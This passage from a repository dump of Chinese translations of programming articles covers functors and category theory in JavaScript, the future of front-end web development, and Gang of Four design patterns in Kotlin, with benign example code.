Dan！还有什么最后要说的吗？\n\n[![](https://ww1.sinaimg.cn/large/006tNc79gy1fdtavvsxt1j31260cuwg0.jpg)](https://twitter.com/dan_abramov/status/824315688093421568?ref_src=twsrc%5Etfw)\n\n如果你阅读至此，估计就会和我一样兴奋了。即刻开始体验函数式 **setState** 吧！\n\n欢迎扩散，欢迎吐槽（[Twitter](https://twitter.com/Daajust)）。\n\nHappy Coding！\n\n> [掘金翻译计划](https://github.com/xitu/gold-miner) 是一个翻译优质互联网技术文章的社区，文章来源为 [掘金](https://juejin.im) 上的英文分享文章。内容覆盖 [Android](https://github.com/xitu/gold-miner#android)、[iOS](https://github.com/xitu/gold-miner#ios)、[React](https://github.com/xitu/gold-miner#react)、[前端](https://github.com/xitu/gold-miner#前端)、[后端](https://github.com/xitu/gold-miner#后端)、[产品](https://github.com/xitu/gold-miner#产品)、[设计](https://github.com/xitu/gold-miner#设计) 等领域，想要查看更多优质译文请持续关注 [掘金翻译计划](https://github.com/xitu/gold-miner)。\n"
  },
  {
    "path": "TODO/functors-categories.md",
    "content": "> * 原文地址：[Functors & Categories](https://medium.com/javascript-scene/functors-categories-61e031bac53f)\n> * 原文作者：[Eric Elliott](https://medium.com/@_ericelliott?source=post_header_lockup)\n> * 译文出自：[掘金翻译计划](https://github.com/xitu/gold-miner)\n> * 译者：[yoyoyohamapi](https://github.com/yoyoyohamapi)\n> * 校对者：[avocadowang](https://github.com/avocadowang) [Aladdin-ADD](https://github.com/Aladdin-ADD)\n\n# Functor 与 Category （软件编写）（第六部分）\n\n<img class=\"progressiveMedia-noscript js-progressiveMedia-inner\" src=\"https://cdn-images-1.medium.com/max/800/1*uVpU7iruzXafhU2VLeH4lw.jpeg\">\n\nSmoke Art Cubes to Smoke — MattysFlicks — (CC BY 2.0) （译注：该图是用 PS 将烟雾处理成方块状后得到的效果，参见 [flickr](https://www.flickr.com/photos/68397968@N07/11432696204)。））\n\n> 注意：这是 “软件编写” 系列文章的第六部分，该系列主要阐述如何在 JavaScript ES6+ 中从零开始学习函数式编程和组合化软件（compositional software）技术（译注：关于软件可组合性的概念，参见维基百科 [Composability](https://en.wikipedia.org/wiki/Composability)）。后续还有更多精彩内容，敬请期待！\n> [<上一篇](https://github.com/xitu/gold-miner/blob/master/TODO/reduce-composing-software.md) | [<< 返回第一章](https://github.com/xitu/gold-miner/blob/master/TODO/the-rise-and-fall-and-rise-of-functional-programming-composable-software.md)\n\n所谓 **functor（函子）**，是能够对其进行 map 操作的对象。换言之，**functor** 可以被认为是一个容器，该容器容纳了一个值，并且暴露了一个接口（译注：即 map 接口），该接口使得外界的函数能够获取容器中的值。所以当你见到 **functor**，别被其来自范畴学的名字唬住，简单把他当做个 *“mappable”* 对象就行。\n\n**“functor”** 一词源于范畴学。在范畴学中，一个 functor 代表了两个范畴（category）间的映射。简单说来，一个 **范畴** 是一系列事物的分组，这里的 “事物” 可以指代一切的值。对于编码来说，一个 functor 通常代表了一个具有 `.map()` 方法的对象，该方法能够将某一集合映射到另一集合。\n\n上文说到，一个 functor 可以被看做是一个容器，比如我们将其看做是一个盒子，盒子里面容纳了一些事物，或者空空如也，最重要的是，盒子暴露了一个 mapping（映射）接口。在 JavaScript 中，数组对象就是 functor 的绝佳例子（译注：`[1,2,3].map(x => x + 1)`），但是，其他类型的对象，只要能够被 map 操作，也可以算作是 functor，这些对象包括了单值对象（single valued-objects）、流（streams）、树（trees）、对象（objects）等等。\n\n对于如数组和流等其他这样的集合（collections）来说，`.map()` 方法指的是，在集合上进行迭代操作，在此过程中，应用一个预先指定的函数对每次迭代到的值进行处理。但是，不是所有的 functor 都可以被迭代。\n\n在 JavaScript 中，数组和 Promise 对象都是 **functor**（Promise 对象虽然没有 `.map()` 方法，但其 `.then()` 方法也遵从 functor 的定律），除此之外，非常多的第三方库也能够将各种各样的一般事物给转换成 functor（译注：大名鼎鼎的 [Bluebird](https://github.com/petkaantonov/bluebird/) 就能将异步过程封装为 Promise functor）。\n\n在 Haskell 中，functor 类型被定义为如下形式：\n\n```\nfmap :: (a -> b) -> f a -> f b\n```\n\nfmap 接受一个函数参数，该函数接受一个参数 `a`，并返回一个 `b`，最终，fmap 完成了从 `f a` 到 `f b` 的映射。`f a` 及 `f b` 可以被读作 “一个 `a` 的 functor” 和“一个 `b` 的 functor”，亦即 `f a` 这个容器容纳了 `a`，`f b` 这个容器容纳了 `b`。\n\n使用一个 functor 是非常简单的，仅需要调用 `map()` 方法即可：\n\n```\nconst f = [1, 2, 3];\nf.map(double); // [2, 4, 6]\n```\n\n### Functor 定律 ###\n\n一个范畴含有两个基本的定律：\n\n1. 同一性（Identity）\n2. 组合性（Composition）\n\n由于 functor 是两个范畴间的映射，其就必须遵守同一性和组合性，二者也构成了 functor 的基本定律。\n\n### 同一性 ###\n\n如果你将函数（`x => x`）传入 `f.map()`，对任意的一个 functor `f`，`f.map(x => x) == f`。\n\n```\nconst f = [1, 2, 3];\nf.map(x => x); // [1, 2, 3]\n```\n\n### 组合性 ###\n\nfunctor 还必须具有组合性：`F.map(x => f(g(x))) == F.map(g).map(f)`\n\n函数组合是将一个函数的输出作为另一个函数输入的过程。例如，给定一个值 `x`及函数 `f` 和函数 `g`，函数的组合就是 `(f ∘ g)(x)`（通常简写为 `f ∘ g`，简写形式已经暗示了 `(x)`），其意味着 `f(g(x))`。\n\n很多函数式编程的术语都源于范畴学，而范畴学的实质即是组合。初看范畴学，就像初次进行高台跳水或者乘坐过山车，慌张，恐惧，但是并不难完成。你只需明确下面几个范畴学基础要点：\n\n- 一个范畴（category）是一个容纳了一系列对象及对象间箭头（`->`）的集合。\n- 箭头只是形式上的描述，实际上，箭头代表了态射（morphismms）。在编程中，态射可以被认为是函数。\n- 对于任何被箭头相连接的对象，如 `a -> b -> c`，必须存在一个 `a -> c ` 的组合。\n- 所有的箭头表示都代表了组合（即便这个对象间的组合只是一个同一（identity）箭头：`a->c`）。所有的对象都存在一个同一箭头，即存在同一态射（`a -> a`）。\n\n如果你有一个函数 `g`，该函数接受一个参数 `a` 并且返回一个 `b`，另一个函数 `f` 接受一个 `b` 并返回一个 `c`。那么，必然存在一个函数 `h`，其代表了 `f` 及 `g` 的组合。而 `a -> c` 的组合，就是 `f ∘ g`（读作`f` **紧接着** `g`），进而，也就是 `h(x) = f(g(x))`。函数组合的方向是由右向左的，这也就是就是 `f ∘ g` 常被叫做 `f` **紧接着** `g` 的原因。\n\n函数组合是满足结合律的，这就意味着你在组合多个函数时，免去了添加括号的烦恼：\n\n```\nh∘(g∘f) = (h∘g)∘f = h∘g∘f\n```\n\n让我们再看一眼 JavaScript 中组合律：\n\n给定一个 functor，`F`：\n\n```\nconst F = [1, 2, 3];\n```\n\n下面的两段是等效的：\n\n```\nF.map(x => f(g(x)));\n\n// 等效于......\n\nF.map(g).map(f);\n```\n\n> 译注：functor 中函数组合的结合率可以被理解为：对 functor 中保存的值使用组合后的函数进行 map，等效于先后对该值用不同的函数进行 map。\n\n### Endofunctors（自函子） ###\n\n一个 endofunctor（自函子）是一个能将一个范畴映射回相同范畴的 functor。\n\n一个 functor 能够完成任意范畴间映射: `F a -> F b`\n\n一个 endofunctor 能够完成相同范畴间的映射：`F a -> F a`\n\n在这里，`F` 代表了一个 **functor 类型**，而 `a` 代表了一个范畴变量（意味着其能够代表任意的范畴，无论是一个集合，还是一个包含了某一数据类型所有可能取值的范畴）。\n\n而一个 monad 则是一个 endofunctor，先记住下面这句话：\n\n> “monad 是 endofunctor 范畴的 monoids（幺半群），有什么问题？”（译注：这句话的出处在该系列第一篇已有提及）\n\n现在，我们希望第一篇提及的这句话能在之后多一点意义，monoids（幺半群）及 monad 将在之后作介绍。\n\n### 自定义一个 Functor ###\n\n下面将展示一个简单的 functor 例子：\n\n```\nconst Identity = value => ({\n  map: fn => Identity(fn(value))\n});\n```\n\n显然，其满足了 functor 定律：\n\n```\n// trace() 是一个简单的工具函数来帮助审查内容\n// 内容\nconst trace = x => {\n  console.log(x);\n  return x;\n};\n\nconst u = Identity(2);\n\n// 同一性\nu.map(trace);             // 2\nu.map(x => x).map(trace); // 2\n\nconst f = n => n + 1;\nconst g = n => n * 2;\n\n// 组合性\nconst r1 = u.map(x => f(g(x)));\nconst r2 = u.map(g).map(f);\n\nr1.map(trace); // 5\nr2.map(trace); // 5\n```\n\n现在，你可以对存在该 functor 中的任何数据类型进行 map 操作，就像你对一个数组进行 map 时那样。这简直太美妙了。\n\n上面的代码片展示了 JavaScript 中 functor 的简单实现，但是其缺失了 JavaScript 中常见数据类型的一些特性。现在我们逐个添加它们。首先，我们会想到，假如能够直接通过 + 操作符操作我们的 functor 是不是很好，就像我们在数值或者字符串对象间使用 `+` 号那样。\n\n为了使该想法变现，我们首先要为该 functor 对象添加 `.valueOf()` 方法  —— 这可被看作是提供了一个便捷的渠道来将值从 functor 盒子中取出。\n\n```\nconst Identity = value => ({\n  map: fn => Identity(fn(value)),\n\n  valueOf: () => value,\n});\n\nconst ints = (Identity(2) + Identity(4));\ntrace(ints); // 6\n\nconst hi = (Identity('h') + Identity('i'));\ntrace(hi); // \"hi\"\n```\n\n现在代码更漂亮了。但是如果我们还想要在控制台审查 `Identity` 实例呢？如果控制台能够输出 `\"Identity(value)\"` 就太好了，为此，我们只需要添加一个 `.toString()` 方法即可（译注：亦即重载原型链上原有的 `.toString()` 方法）：\n\n```\ntoString: () => `Identity(${value})`,\n```\n\n代码又有所进步。现在，我们可能也想 functor 能够满足标准的 JavaScript 迭代协议（译注：[MDN - 迭代协议](https://developer.mozilla.org/zh-CN/docs/Web/JavaScript/Reference/Iteration_protocols)）。为此，我们可以为 `Identity` 添加一个自定义的迭代器：\n\n```\n  [Symbol.iterator]: () => {\n    let first = true;\n    return ({\n      next: () => {\n        if (first) {\n          first = false;\n          return ({\n            done: false,\n            value\n          });\n        }\n        return ({\n          done: true\n        });\n      }\n    });\n  },\n```\n\n现在，我们的 functor 还能这样工作:\n\n```\n// [Symbol.iterator] enables standard JS iterations:\nconst arr = [6, 7, ...Identity(8)];\ntrace(arr); // [6, 7, 8]\n```\n\n假如你想借助 `Identity(n)` 来返回包含了 `n+1`，`n+2` 等等的 Identity 数组，这非常容易：\n\n```\nconst fRange = (\n  start,\n  end\n) => Array.from(\n  {length: end - start + 1},\n  (x, i) => Identity(i + start)\n);\n```\n\n> 译注：[MDN -- Array.from()](https://developer.mozilla.org/zh-CN/docs/Web/JavaScript/Reference/Global_Objects/Array/from)\n\n但是，如果你想上面的操作方式能够应用于任何 functor，该怎么办？假如我们规定了每种数据类型对应的实例必须有一个关于其构造函数的引用，那么你可以这样改造之前的逻辑：\n\n```\nconst fRange = (\n  start,\n  end\n) => Array.from(\n  {length: end - start + 1},\n\n  // 将 `Identity` 变更为 `start.constructor`\n  (x, i) => start.constructor(i + start)\n);\n\nconst range = fRange(Identity(2), 4);\nrange.map(x => x.map(trace)); // 2, 3, 4\n```\n\n假如你还想知道一个值是否在一个 functor 中，又怎么办？我们可以为 `Identity` 添加一个静态方法 `.is()` 来进行检测，另外，我们也顺便添加了一个静态的 `.toString()` 方法来告知这个 functor 的种类：\n\n```\nObject.assign(Identity, {\n  toString: () => 'Identity',\n  is: x => typeof x.map === 'function'\n});\n```\n\n\n现在，我们整合一下上面的代码片:\n\n```\nconst Identity = value => ({\n  map: fn => Identity(fn(value)),\n\n  valueOf: () => value,\n\n  toString: () => `Identity(${value})`,\n\n  [Symbol.iterator]: () => {\n    let first = true;\n    return ({\n      next: () => {\n        if (first) {\n          first = false;\n          return ({\n            done: false,\n            value\n          });\n        }\n        return ({\n          done: true\n        });\n      }\n    });\n  },\n\n  constructor: Identity\n});\n\nObject.assign(Identity, {\n  toString: () => 'Identity',\n  is: x => typeof x.map === 'function'\n});\n```\n\n注意，无论是 functor，还是 endofunctor，不一定需要上述那么多的条条框框。以上工作只是为了我们在使用 functor 时更加便捷，而非必须。一个 functor 的所有需求只是一个满足了 functor 定律 `.map()` 接口。\n\n### 为什么要使用 functor? ###\n\n说 functor 多么多么好不是没有理由的。最重要的一点是，functor 作为一种抽象，能让开发者以同一种方式实现大量有用的，能够操纵任何数据类型的事物。例如，如果你想要在 functor 中值不为 `null` 或者不为 `undefined` 前提下，构建一串地链式操作：\n\n```\n// 创建一个 predicte\nconst exists = x => (x.valueOf() !== undefined && x.valueOf() !== null);\n\nconst ifExists = x => ({\n  map: fn => exists(x) ? x.map(fn) : x\n});\n\nconst add1 = n => n + 1;\nconst double = n => n * 2;\n\n// undefined\nifExists(Identity(undefined)).map(trace);\n// null\nifExists(Identity(null)).map(trace);\n\n// 42\nifExists(Identity(20))\n  .map(add1)\n  .map(double)\n  .map(trace)\n;\n```\n\n函数式编程一直探讨的是将各个小的函数进行组合，以创建出更高层次的抽象。假如你想要一个更通用的，能够工作在任何 functor 上的 `map()` 方法，那么你可以通过参数的部分应用（译注：即 [偏函数](https://en.wikipedia.org/wiki/Partial_application)）来完成。\n\n你可以使用自己喜欢的 curry 化方法（译注：Underscore，Lodash，Ramda 等第三方库都提供了 curry 化一个函数的方法），或者使用下面这个之前篇章提到的，基于 ES6 的，充满魅力的 curry 化方法来实现参数的部分应用：\n\n```\nconst curry = (\n  f, arr = []\n) => (...args) => (\n  a => a.length === f.length ?\n    f(...a) :\n    curry(f, a)\n)([...arr, ...args]);\n```\n\n现在，我们可以自定义 `map()` 方法:\n\n```\nconst map = curry((fn, F) => F.map(fn));\n\nconst double = n => n * 2;\n\nconst mdouble = map(double);\nmdouble(Identity(4)).map(trace); // 8\n```\n\n### 总结 ###\n\nfunctor 是能够对其进行 map 操作的对象。更进一步地，一个 functor 能够将一个范畴映射到另一个范畴。一个 functor 甚至可以将某一范畴映射回相同范畴（例如 endofunctor）。\n\n一个范畴是一个容纳了对象和对象间箭头的集合。箭头代表了态射（也可理解为函数或者组合）。一个范畴中的每个对象都具有一个同一态射（`x -> x`）。对于任何链接起来的对象 `A -> B -> C`，必存在一个 `A -> C` 的组合。\n\n总之，functor 是一个极佳的高阶抽象，能然你创建各种各样的通用函数来操作任何的数据类型。\n\n**未完待续……**\n\n### 接下来 ###\n\n想学习更多 JavaScript 函数式编程吗？\n\n[跟着 Eric Elliott 学 Javacript](http://ericelliottjs.com/product/lifetime-access-pass/)，机不可失时不再来！\n\n[<img class=\"progressiveMedia-noscript js-progressiveMedia-inner\" src=\"https://cdn-images-1.medium.com/max/800/1*3njisYUeHOdyLCGZ8czt_w.jpeg\">](https://ericelliottjs.com/product/lifetime-access-pass/)\n\n**Eric Elliott** 是  [**“编写 JavaScript 应用”**](http://pjabook.com) （O’Reilly） 以及 [**“跟着 Eric Elliott 学 Javascript”**](http://ericelliottjs.com/product/lifetime-access-pass/) 两书的作者。他为许多公司和组织作过贡献，例如 **Adobe Systems**、**Zumba Fitness**、**The Wall Street Journal**、**ESPN** 和 **BBC** 等 , 也是很多机构的顶级艺术家，包括但不限于 **Usher**、**Frank Ocean** 以及 **Metallica**。\n\n大多数时间，他都在 San Francisco Bay Area，同这世上最美丽的女子在一起。\n\n---\n\n> [掘金翻译计划](https://github.com/xitu/gold-miner) 是一个翻译优质互联网技术文章的社区，文章来源为 [掘金](https://juejin.im) 上的英文分享文章。内容覆盖 [Android](https://github.com/xitu/gold-miner#android)、[iOS](https://github.com/xitu/gold-miner#ios)、[React](https://github.com/xitu/gold-miner#react)、[前端](https://github.com/xitu/gold-miner#前端)、[后端](https://github.com/xitu/gold-miner#后端)、[产品](https://github.com/xitu/gold-miner#产品)、[设计](https://github.com/xitu/gold-miner#设计) 等领域，想要查看更多优质译文请持续关注 [掘金翻译计划](https://github.com/xitu/gold-miner)。\n"
  },
  {
    "path": "TODO/future-front-end-web-development.md",
    "content": "> * 原文地址：[What is the Future of Front End Web Development?](https://css-tricks.com/future-front-end-web-development/)\n> * 原文作者：本文已获 [Chris Coyier](https://css-tricks.com/author/chriscoyier/) 授权\n> * 译文出自：[掘金翻译计划](https://github.com/xitu/gold-miner)\n> * 译者：\n> * 校对者：\n\n# What is the Future of Front End Web Development?\n\nI was asked to do a little session on this the other day. I'd say I'm\nunderqualified to answer the question, as is any single person. If you really\nneeded hard answers to this question, you'd probably look to aggregate data of\nsurvey results from lots of developers.\n\nI am a _little_ qualified though. Aside from running this site which requires\nme to think about front end development every day and exposes me to lots of\nconversations about front end development, I am an active developer myself. I\nwork on CodePen, which is quite a hive of front end developers. I also talk\nabout it every week on ShopTalk Show with a wide variety of guests, and I get\nto travel all around going to conferences largely focused on front end\ndevelopment.\n\nSo let me take a stab at it.\n\nAgain, disclaimers:\n\n  1. This is non-comprehensive\n  2. These are just loose guesses\n  3. I'm just one dude\n\n### User expectations on the rise.\n\nThis sets the stage:\n\nWhat websites are being asked to do is rising. Developers are being asked to\nbuild very complicated things very quickly and have them work very well and\nvery fast.\n\n### New JavaScript is here.\n\nAs fabulous as jQuery was for us, it's over for new development. And I don't\njust mean ES6+ has us covered now, but that's true. We got ourselves into\ntrouble by working with the DOM too directly and treating it like like a state\nstore. As I opened with, user expectations, and thus complexity, are on the\nrise. We need to manage that complexity.\n\n**State** is the big concept, as [we talked about](https://css-tricks.com/project-need-react/). Websites will be built by thinking of what state needs to be managed, then building the right stores for that state.\n\nThe new frameworks are here. Ember, React, Vue, Angular, Svelte, whatever.\nThey accommodate the idea of working with state, components, and handling the\nDOM for us.\n\nNow they can compete on speed, features, and API niceity.\n\nTypeScript also seems like a long-term winner because it can work with\nwhatever and brings stability and a better editor experience for developers.\n\n### We're not building pages, we're building systems.\n\nStyle guides. Design systems. Pattern libraries. These things are becoming a\nstandard part of the process for web projects. They will probably become the\nmain deliverable. A system can build whatever is needed. The concept of\n\"pages\" is going away. Components are pieced together to build what users see.\nThat piecing together can be done by UX folks, interaction designers, even\nmarketing.\n\nNew JavaScript accommodates this very well.\n\n### The line between native and web is blurring.\n\nWhich is better, Sketch or Figma? We judge them by their features, not by the\nfact that one is a native app and one is a web app. Should I use the Slack or\nTweetDeck native app, or just open a tab? It's identical either way. Sometimes\na web app is so good, I wish it was native just so it could be an icon in my\ndock and have persistent login, so I use things like Mailplane for Gmail and\nPaws for Trello.\n\nI regularly use apps that seem like they would _need_ to be native apps, but\nturn to be just as good or better on the web. Just looking at audio/video\napps, Skype has a full-featured app, Lightstream is a full-on livestreaming\nstudio, and Zencaster can record multi-track high-quality audio. All of those\nare right in the browser.\n\nThose are just examples of _doing a good job_ on the web. Web technology\nitself is stepping up hugely here as well. Service workers give us important\nthings like offline ability and push notifications. Web Audio API. Web\nPayments API. The web should become the dominant platform for building apps.\n\nUsers will use things that are good, and not consider or care how it was\nbuilt.\n\n### URLs are still a killer feature.\n\nThe web really got this one right. Having a universal way to jump right to\nlooking at a specific thing is incredible. URLs make search engines possible,\npotentially one of the most important human innovations ever. URLs makes\nsharing and bookmarking possible. URLs are a level playing field for\nmarketing. Anybody can visit a URL, there is no gatekeeper.\n\n### Performance is a key player.\n\nTolerance for poorly performing websites is going to go down. Everyone will\nexpect everything to be near-instant. Sites that aren't will be embarrassing.\n\n### CSS will get much more modular.\n\nWhen we write styles, we will always make a choice. Is this a global style? Am\nI, on purpose, leaking this style across the entire site? Or, am I writing CSS\nthat is specific to this component? CSS will be split in half between these\ntwo. Component-specific styles will be scoped and bundled with the component\nand used as needed.\n\n### CSS preprocessing will slowly fade away.\n\nMany of the killer features of preprocessors have already made it into CSS\n(variables), or can be handled better by more advanced build processes\n(imports). The tools that we'll ultimately use to modularize and scope our CSS\nare still, in a sense, CSS preprocessors, so they may take over the job of\nwhatever is left of preprocessing necessity. Of the standard set of current\npreprocessors, I would think the main one we will miss is mixins. If native\nCSS stepped up to implement mixins (maybe @apply) and extends (maybe @extend),\nthat would quicken the deprecation of today's crop of preprocessors.\n\n### Being good at HTML and CSS remains vital.\n\nThe way HTML is constructed and how it ends up in the DOM will continue to\nchange. But you'll still need to know what good HTML looks like. You'll need\nto know how to structure HTML in such a way that is useful for you, accessible\nfor users, and accomodating to styling.\n\nThe way CSS lands in the browser and how it is applied will continue to\nchange, but you'll still need to how to use it. You'll need to know how to\naccomplish layouts, manage spacing, adjust typography, and be tasteful, as we\nalways have.\n\n### Build processes will get competitive.\n\nBecause performance matters so much and there is so much opportunity to get\nclever with performance, we'll see innovation in getting our code bases to\nproduction. Tools like webpack (tree shaking, code splitting) are already\ndoing a lot here, but there is plenty of room to let automated tools work\nmagic on how our code ultimately gets shipped to browsers. Optimizing first\npayloads. Shipping assets in order of how critical they are. Deciding what\ngets sent where and how. Shipping nothing whatsoever that isn't used.\n\nAs the web platform evolves (e.g. Client Hints), build processes will adjust\nand best practices will evolve with it, like they always have.\n\n---\n\n> [掘金翻译计划](https://github.com/xitu/gold-miner) 是一个翻译优质互联网技术文章的社区，文章来源为 [掘金](https://juejin.im) 上的英文分享文章。内容覆盖 [Android](https://github.com/xitu/gold-miner#android)、[iOS](https://github.com/xitu/gold-miner#ios)、[React](https://github.com/xitu/gold-miner#react)、[前端](https://github.com/xitu/gold-miner#前端)、[后端](https://github.com/xitu/gold-miner#后端)、[产品](https://github.com/xitu/gold-miner#产品)、[设计](https://github.com/xitu/gold-miner#设计) 等领域，想要查看更多优质译文请持续关注 [掘金翻译计划](https://github.com/xitu/gold-miner)。\n"
  },
  {
    "path": "TODO/gang-of-four-patterns-in-kotlin.md",
    "content": "> * 原文地址：[Gang of Four Patterns in Kotlin](https://dev.to/lovis/gang-of-four-patterns-in-kotlin)\n> * 原文作者：[Lovis](https://dev.to/lovis)\n> * 译文出自：[掘金翻译计划](https://github.com/xitu/gold-miner)\n> * 译者：[Boiler Yao](https://github.com/boileryao)\n> * 校对者：[windmxf](https://github.com/windmxf), [wilsonandusa](https://github.com/wilsonandusa)\n\nKotlin 正在得到越来越广泛的应用。如果把常用的设计模式用 Kotlin 来实现会是什么样子呢？\n\n受到 Mario Fusco 的“从‘四人帮’到 lambda”（相关的[视频](https://www.youtube.com/watch?v=Rmer37g9AZM)、[博客](https://www.voxxed.com/blog/2016/04/gang-four-patterns-functional-light-part-1/)、[代码](https://github.com/mariofusco/from-gof-to-lambda)）的启发，我决定动手实现一些计算机科学领域最著名的设计模式，用 “Kotlin”！（“四人帮”指 Erich Gamma、Richard Helm、Ralph Johnson 和 John Vlissides，四人在所著的《Design Patterns: Elements of Reusable Object-Oriented Software 》一书中介绍了 23 种设计模式，该书被誉为设计模式的经典之作。——译注）\n\n当然，我的目标不是简单的 **实现** 这些模式。因为 Kotlin 支持面向对象编程并且和 Java 是可互操作的，我可以从 Mario 的仓库直接复制粘贴每一个 Java 文件（先不管是“传统”的还是“lambda 风格”的），**它们将仍然可以正常工作**！\n\n需要特别说明一下，这些模式的发明是为了弥补起源于上世纪九十年代的一些命令式编程语言（尤其是 C++）的不足。很多现代编程语言提供了解决这些不足的特性，我们完全不需要再写多余的代码或者做刻意模仿设计模式这种事了。\n\n这就是为什么我像 Mario （相关仓库地址：[gof](https://github.com/mariofusco/from-gof-to-lambda)）那样，去寻找一种更简单方便、更惯用的方式来解决这些模式所要解决的问题。\n\n如果不想看下面这坨说明文字的话，你可以直接去 [这个 GitHub 仓库](https://github.com/lmller/gof-in-kotlin) 看代码。\n\n---\n\n众所周知，根据“四人帮”的定义设计模式可以分为三种: **结构型**、**创建型** 和 **行为型**。\n\n 一开始，我们先来看结构型设计模式。这不是很好搞，因为结构型设计模式是关于结构的。怎样用一个 **不同** 的结构来实现这个结构呢，臣妾做不到啊。不过， **装饰器模式** 是个例外。虽然在技术层面来说算是结构型，但就使用来说，更多是和行为及职责有关的（装饰器模式，每个负责进行包装的类具有增加某一行为这一职责。——译注）。\n\n### 结构型设计模式\n\n#### 装饰器模式（Decorator）\n\n> 动态地给对象添加行为（职责）\n\n假设我们想用一些特效（duang）来装饰 `Text` 这个类：\n\n```\nclass Text(val text: String) {\n    fun draw() = print(text)\n}\n```\n\n如果了解这个模式的话，你应该知道我们需要创建一些类来“修饰”（即，拓展行 为） `Text` 类。\n\n在 Kotlin 中，我们可以用 **函数拓展（extension functions）** 来避免创建这么一大坨类：\n\n```\nfun Text.underline(decorated: Text.() -> Unit) {\n    print(\"_\")\n    this.decorated()\n    print(\"_\")\n}\n\nfun Text.background(decorated: Text.() -> Unit) {\n    print(\"\\u001B[43m\")\n    this.decorated()\n    print(\"\\u001B[0m\")\n}\n```\n\n有了这些拓展函数，我们现在可以实例化一个 `Text` 对象，并且在不创建其他类的情况下来修饰它的 `draw` 方法：\n\n```\nText(\"Hello\").run {\n    background {\n        underline {\n            draw()\n        }\n    }\n}\n```\n\n运行这段代码，你会看见带有彩色背景的“\\_Hello\\_”（如果终端支持 ansi 颜色的话）。\n\n跟原本的装饰者相比，这里有一个不足：由于没有用来装饰的类了，所以我们不能使用“预装饰”过的对象了。\n\n可以再次使用函数来解决这个问题，函数是 Kotlin 中的“一等公民”。我们可以这样写：\n\n```\nfun preDecorated(decorated: Text.() -> Unit): Text.() -> Unit {\n    return { background { underline { decorated() } } }\n}\n```\n\n### 创建型设计模式\n\n#### Builder 模式\n\n> 将复杂对象的构造与其表示分开，以便相同的构造过程可以创建不同形式的对象\n\n**Builder** 模式很好用，可以避免臃肿的构造函数参数列表，还能方便地复用预先定义好的配置对象的代码。 Kotlin 的 `apply` 扩展原生支持 Builder 模式。\n\n假设有一个 `Car` 类：\n\n```\nclass Car() {\n    var color: String = \"red\"\n    var doors = 3\n}\n```\n\n除了为这个类单独创建一个 `CarBuilder` ，我们可以使用 `apply`（`also` 也行）拓展来初始化一辆车：\n\n```\nCar().apply {\n    color = \"yellow\"\n    doors = 5\n}\n```\n\n由于函数可以赋值给一个变量，所以这个初始化过程也可以放在一个变量里。这样，我们就有了一个预先定义好的 **Builder** “函数”，比如 `val yellowCar: Car.() -> Unit = { color = \"yellow\" }`\n\n#### 原型模式（Prototype）\n\n> 使用原型化的实例指定要创建的对象的种类，并通过复制此实例来创建特定的新对象\n\n在 Java 中，原型模式理论上可以用 `Cloneable` 接口和 `Object.clone()` 来实现。然而，[`clone` 有很大的不足](http://www.artima.com/intv/bloch13.html)，所以我们应该避免使用它。\n\nKotlin 用数据类（data classes）提供了解决方案。\n\n当使用数据类的时候，我们将免费得到 `equals`、`hashCode`、`toString` 和 `copy` 这几个函数。通过 `copy`，我们可以复制一整个对象并且修改所得到的新对象的一些属性。\n\n```\ndata class EMail(var recipient: String, var subject: String?, var message: String?)\n...\n\nval mail = EMail(\"abc@example.com\", \"Hello\", \"Don't know what to write.\")\n\nval copy = mail.copy(recipient = \"other@example.com\")\n\nprintln(\"Email1 goes to \" + mail.recipient + \" with subject \" + mail.subject)\nprintln(\"Email2 goes to \" + copy.recipient + \" with subject \" + copy.subject)\n```\n\n#### 单例模式（Singleton）\n\n> 确保一个类只有一个实例，并提供这个实例的全局访问点\n\n尽管近来 **单例模式** 被认为是“反设计模式的”，但是它也有自己独特的用处（本文不会讨论这个话题，只是战战克克克克的来使用它）。\n\n在 Java 中创建 **单例** 还是需要一番操作的，但是在 Kotlin 中只需要简单的使用 **`object`** 声明就可以了。\n\n```\nobject Dictionary {\n    fun addDefinition(word: String, definition: String) {\n        definitions.put(word.toLowerCase(), definition)\n    }\n\n    fun getDefinition(word: String): String {\n        return definitions[word.toLowerCase()] ?: \"\"\n    }\n}\n```\n\n这里使用的 `object` 关键词会自动创建出 `Dictionary` 这个类以及它的一个单例。这个单例以“懒汉模式”创建，用到它时才会进行创建。\n\n单例的访问方式和 Java 的静态方法差不多：\n\n```\nval word = \"kotlin\"\nDictionary.addDefinition(word, \"an awesome programming language created by JetBrains\")\nprintln(word + \" is \" + Dictionary.getDefinition(word))\n```\n\n### 行为型设计模式\n\n#### 模板方法（Template Method）\n\n> 在操作中定义算法（步骤）的骨架，将一些步骤委托给子类\n\n这个设计模式同时用到了类的继承。定义一些 `抽象方法` 并且在基类调用这些方法。抽象方法由子类负责实现。\n\n```\n//java\npublic abstract class Task {\n        protected abstract void work();\n        public void execute(){\n            beforeWork();\n            work();\n            afterWork();\n        }\n    }\n```\n\n现在从 `Task` 派生出一个在 `work` 方法中真正做了事情的具体类。\n\n和 **装饰器模式** 使用函数拓展类似，这里的 **模板方法** 通过顶层函数实现。\n\n```\n//kotlin\nfun execute(task: () -> Unit) {\n    val startTime = System.currentTimeMillis() //\"beforeWork()\"\n    task()\n    println(\"Work took ${System.currentTimeMillis() - startTime} millis\") //\"afterWork()\"\n}\n\n...\n//usage:\nexecute {\n    println(\"I'm working here!\")\n}\n```\n\n看，根本没有必要写任何类！有人可能会有疑问，这不是 **策略模式** 吗，这个疑问不无道理。从另一方面来看，**策略模式** 和 **模板方法** 确实在解决很相似的问题（如果有什么不同）。\n\n#### 策略模式（Strategy）\n\n> 定义一系列算法，封装每个算法，并使它们可以互换\n\n有一些 `Customer` ，他们每个月都要付一笔特定的费用。对于某些特定的人，这笔费用可以打折。我们不去为每种打折 **策略** 都去写一个对应的 `Customer` 子类，而是采用 **策略模式**。\n\n```\nclass Customer(val name: String, val fee: Double, val discount: (Double) -> Double) {\n    fun pricePerMonth(): Double {\n        return discount(fee)\n    }\n}\n```\n\n注意这里没有使用接口，而是使用 `(Double) -> Double` （Double 到 Double）的函数来替代。为了使这个变换看上去有意义，我们可以声明一个类型别名，这样也不失高阶函数的灵活性： `typealias Discount = (Double) -> Double`.\n\n无论哪种方式，我都可以定义多种 **策略** 来计算折扣。\n\n```\nval studentDiscount = { fee: Double -> fee/2 }\nval noDiscount = { fee: Double -> fee }\n...\n\nval student = Customer(\"Ned\", 10.0, studentDiscount)\nval regular = Customer(\"John\", 10.0, noDiscount)\n\nprintln(\"${student.name} pays %.2f per month\".format(student.pricePerMonth()))\nprintln(\"${regular.name} pays %.2f per 